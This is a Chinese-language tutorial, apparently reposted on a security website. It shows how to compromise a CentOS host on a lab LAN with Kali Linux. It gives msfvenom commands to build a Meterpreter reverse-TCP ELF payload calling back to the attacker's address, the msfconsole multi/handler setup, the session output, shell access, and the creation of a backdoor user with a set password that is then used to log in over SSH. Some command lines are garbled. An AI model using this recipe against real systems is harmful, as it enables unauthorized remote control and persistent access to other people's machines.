安基网 首页 安全 渗透测试 查看内容

使用kali linux,利用Meterpreter成功渗透Linux主机并新建用户

2019-9-23 11:47| 投稿: xiaotiger |来自: 互联网


免责声明:本站系公益性非盈利IT技术普及网,本文由投稿者转载自互联网的公开文章,文末均已注明出处,其内容和图片版权归原网站或作者所有,文中所述不代表本站观点,若有无意侵权或转载不当之处请从网站右下角联系我们处理,谢谢合作!

摘要: 前言Meterpreter作为渗透模块有很多有用的功能,比如添加一个用户、隐藏一些东西、打开shell、得到用户密码、上传下载远程主机的文件、运行cmd.exe、捕捉屏幕、得到远程控制权、捕获按键信息、清除应用程序、显示远程主机的系统信息、显示远程机器的网络接口和IP地址等信息。之前的文章《利用Metasploi ...

前言

Meterpreter作为渗透模块有很多有用的功能,比如添加一个用户、隐藏一些东西、打开shell、得到用户密码、上传下载远程主机的文件、运行cmd.exe、捕捉屏幕、得到远程控制权、捕获按键信息、清除应用程序、显示远程主机的系统信息、显示远程机器的网络接口和IP地址等信息。

之前的文章《利用Metasploit渗透框架生成payload远程控制主机》展示了如何获得一台windows主机的控制权,今天我们来展示一下号称非常安全的Linux是如何被入侵的。

正常的渗透步骤应该首先进行信息手机,对特点目标进行扫描,今天掠过其他步骤直接针对一台主机进行渗透。

环境说明

控制端:kali linux 192.168.10.6

被控端:Centos7.6 192.168.10.10

两台主机同处于同一个局域网内,互相可以ping通。

在控制端生成payload程序

  • 寻找使用与linux主机的payload类型: "linux/x64/meterpreter/reverse_tcp"

以然使用linux主机meterpreter类型的反向tcp渗透控制程序。

#msfvenom -l payloads |grep 'linux/x64/meterpreter

  • 选择好payload类型后,可以查看此payload可以使用的参数
msfvenom ﹑ linux/x64/meterpreter/reverse_tcp ┅list﹐ptions 

主要设置: LHOST和LPORT

  • 还要确定payload程序的输出格式

linux主机选择 “efl”格式

#root@kali:~# msfvenom --list formats

  • 生成payload程序

lhost:本地主机(攻击端)

lport:本地端口(攻击端)

-p :指定攻击载荷(远程控制程序)类型。

-f:输出的程序的类型,如elf/exe/apk等。

-o: 输入位置。

msfvenom -p linux/x64/meterpreter_reverse_tcp lhost=192.168.10.6 lport=6666 -f elf -o /root/pay.elf

加上可执行权限

  • 将payload程序(pay.elf)上传到目标服务器

这个步骤是最关键的,也是最困难的。一般的黑客都会利用各种办法将自己的木马文件上传到目标机器上。本次为了实验效果直接用常规办法上传:scp。

开启主控端进行控制

  • 进入msfconsole
root@kali:~# msfconsole

  • 让payload程序成功在被控端成功执行。(此处登录被控端手动执行)
[root@test ~]# ./pay.elf &
[1] 6936
[root@test ~]# ps -fe |grep pay
root 6936 6897 0 19:18 pts/0 00:00:00 ./pay.elf
root 6962 6897 0 19:19 pts/0 00:00:00 grep --color=auto pay

  • 启动控制端操作
  1. use exploit/multi/handler。使用handler
  2. 设置payload类型为反向tcp连接。
  3. 设置本地ip
  4. 设置本地端口
  5. 执行主控端:exploit。

看到“Meterpreter session 1 opened (192.168.10.6:6666 -> 192.168.10.10:49716)”表示成功连接上。

msf5 > use exploit/multi/handler 
msf5 exploit(multi/handler) > set payload linux/x64/meterpreter/reverse_tcp
payload => linux/x64/meterpreter/reverse_tcp
msf5 exploit(multi/handler) > set LHOST 192.168.10.6
LHOST => 192.168.10.6
msf5 exploit(multi/handler) > set LPORT 6666
LPORT => 6666
msf5 exploit(multi/handler) > exploit
[*] Started reverse TCP handler on 192.168.10.6:6666
[*] Sending stage (3021284 bytes) to 192.168.10.10
[*] Meterpreter session 1 opened (192.168.10.6:6666 -> 192.168.10.10:49716) at 2019-09-22 19:18:10 +0800
meterpreter >

渗透成功后的“黑客操作”

可以看都提示符编程了:“meterpreter >”

  • help

输入help可以查看可以进行哪些操作,包括文件的查看、上传、下载、新建、删除等。

  • ls查看被控端文件:

执行ls可以查看到被控端的当前目录文件:

和被控端主机上执行ls做对比:

  • 创建一个shell

执行一个“shell“命令可以开启一个shell会话,在这里可以执行任何的被控端主机的linux命令:

  • 在被控端新建一个用户:
meterpreter > shell
Process 6967 created.
Channel 1 created.



useradd teng
echo teng |passwd --stdin teng
更改用户 teng 的密码 。
passwd:所有的身份验证令牌已经成功更新。

  • 验证

在控制端再打开一个终端,用新建的用户远程登录被控端:

成功登录,大功告成!!

root@kali:~# ssh teng@192.168.10.10
teng@192.168.10.10's password:
Last failed login: Sun Sep 22 19:07:16 CST 2019 from 192.168.10.6 on ssh:notty
There were 3 failed login attempts since the last successful login.
[teng@test ~]$ ip a
1: lo: mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.0.0.1/8 scope host lo
valid_lft forever preferred_lft forever
inet6 ::1/128 scope host
valid_lft forever preferred_lft forever
2: ens33: mtu 1500 qdisc pfifo_fast state UP group default qlen 1000
link/ether 00:0c:29:4b:25:8c brd ff:ff:ff:ff:ff:ff
inet 192.168.10.10/24 brd 192.168.10.255 scope global dynamic ens33
valid_lft 1317sec preferred_lft 1317sec
inet6 fe80::20c:29ff:fe4b:258c/64 scope link
valid_lft forever preferred_lft forever



小编推荐:欲学习电脑技术、系统维护、网络管理、编程开发和安全攻防等高端IT技术,请 点击这里 注册账号,公开课频道价值万元IT培训教程免费学,让您少走弯路、事半功倍,好工作升职加薪!

本文出自:https://www.toutiao.com/a6739456222426038795/

免责声明:本站系公益性非盈利IT技术普及网,本文由投稿者转载自互联网的公开文章,文末均已注明出处,其内容和图片版权归原网站或作者所有,文中所述不代表本站观点,若有无意侵权或转载不当之处请从网站右下角联系我们处理,谢谢合作!


鲜花

握手

雷人

路过

鸡蛋

相关阅读

最新评论

 最新
返回顶部